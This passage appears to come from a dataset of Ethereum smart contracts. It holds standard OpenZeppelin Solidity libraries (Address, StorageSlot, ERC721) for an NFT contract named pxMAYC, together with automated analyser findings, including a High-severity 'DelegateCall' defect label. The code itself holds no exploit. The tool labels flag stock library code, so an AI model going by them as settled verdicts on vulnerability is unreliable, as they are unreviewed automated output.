* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["400"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 62, 63]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [72, 73, 71]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [80, 81, 82]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [53, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [79, 80, 81, 82, 83]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 65, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [70, 71, 72, 73, 74]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [52, 53, 54, 55, 56]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 93, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 95, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 488, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 497, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 506, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 515, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 81, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 218, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 440, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 488, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 497, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 506, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 515, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 241, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 146, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 489, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 507, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 516, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 71, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 91, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 272, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 272, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 272, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
pxMAYC | 0xb88392425e7b8db37d43b1eb62022c9432fd997e | Solidity | // __ __
// | \/ |
// _ ____ _| \ / | __ _ _ _ ___
//| '_ \ \/ / |\/| |/ _` | | | |/ __|
//| |_) > <| | | | (_| | |_| | (__
//| .__/_/\_\_| |_|\__,_|\__, |\___|
//| | __/ |
//|_| |___/ 2.0
//First 1000 Free
//0.01 Per Mint
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
